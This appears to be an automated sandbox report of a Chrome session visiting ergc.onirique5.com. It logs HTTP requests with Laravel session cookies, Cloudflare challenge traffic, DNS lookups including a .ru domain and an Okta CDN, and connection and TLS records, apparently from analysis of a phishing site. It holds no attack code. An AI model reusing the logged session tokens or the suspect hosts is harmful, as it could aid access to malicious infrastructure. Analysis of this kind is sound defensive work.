laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /st6fndDfLt88Ww239PbZTGRtULptBqBNNb9Kmn4DtRRX2nJzhggEh1NE0ikomRkKCidvnby9jYd6N3ef260 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijrTSB9tguTRT3FiEnWGvF3FUqCxyMuYN7jdimfK608REX812203 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opfzJagy9bhWoPZE6LdVeKwrAVMdrccdJLFkRMnbyAQstkOy6AKrYsS5G19v6hpABXO7kef240 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /st6fndDfLt88Ww239PbZTGRtULptBqBNNb9Kmn4DtRRX2nJzhggEh1NE0ikomRkKCidvnby9jYd6N3ef260 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ergc.onirique5.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: dt6mo.kdyukk.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3367sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtUcf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 19:31:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GJtmfjaOwjVu%2Bxq%2F4AvpLfOofMqGPPKZ8a9ROT8vbWl8eDO4C%2BjQ%2BSoEj6WlKMcthaZiHn1Wxi0dCHWBrxnrSoEu8S9coBZBPSfeKnry47%2F1D6D61MlSk4%2FeWaPi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=5421&min_rtt=5187&rtt_var=2413&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2038&delivery_rate=410256&cwnd=250&unsent_bytes=0&cid=2526ce2c9f7ae0f5&ts=126&x=0"Server: cloudflareCF-RAY: 9260d4022f190f8d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=109172&min_rtt=109058&rtt_var=23179&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1702&delivery_rate=34050&cwnd=224&unsent_bytes=0&cid=8dcc071f493055ce&ts=577&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 19:31:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5wzp3IJZ4jYhLp6UJX2%2Bb54Ths8NeMB2vay2o6obw2G2gGPtAxLNNgjo11AaFQM%2BZLuR9PwP9eIgkOIt6gAsi61kDHBxWXttPeiOrocczkdHxRUbRQJZTyc4vqED"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=4900&min_rtt=4900&rtt_var=1837&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2254&delivery_rate=591020&cwnd=251&unsent_bytes=0&cid=5dec2defdf9e0b83&ts=143&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 9260d407781523dd-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=109750&min_rtt=108235&rtt_var=24347&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1918&delivery_rate=34383&cwnd=251&unsent_bytes=0&cid=977fecafbd213656&ts=584&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 19:31:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wd7aHr9bZ35AberiL1UVmiK6%2BBCegHLVmML3tuibajV97c9MhGcSBXuKZ1Rt4BRARIrJU0tkOG5UlqjTxUWaNCJa%2FPrOB2%2Ft%2BRDMEftuFyTEDa9wXsDAKCdSei2J"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1386&min_rtt=1277&rtt_var=697&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2066&delivery_rate=1346350&cwnd=251&unsent_bytes=0&cid=1e1e6c2358266cbe&ts=81&x=0"Server: cloudflareCF-RAY: 9260d40b3e139e16-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=110219&min_rtt=108962&rtt_var=24876&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1731&delivery_rate=33036&cwnd=252&unsent_bytes=0&cid=0c49988da7fc5c11&ts=539&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 19:31:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kIcDV8XAkiz0Fr5WTajQKgJoykJAQZN%2FLofhIyepysBge2Z%2B0M5CAfQPXG2xLqkGEReCGEeqSZb2HCcwCftN7NDZirxNeB7yqj43tKSbqsygvfHnnwD%2FcUZfj7vM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1472&rtt_var=733&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2060&delivery_rate=1967391&cwnd=251&unsent_bytes=0&cid=c76a09c85b1e0faa&ts=92&x=0"Server: cloudflareCF-RAY: 9260d426ff0c6180-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=113645&min_rtt=111337&rtt_var=25849&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1724&delivery_rate=33429&cwnd=252&unsent_bytes=0&cid=71fb0bafe8f32226&ts=562&x=0"

Source: chromecache_150.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_150.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_135.1.dr	String found in binary or memory: https://www.flipkart.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.109:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.109:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.180:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.195.178:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.109:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.5:49787 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6128_939691024

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6128_939691024
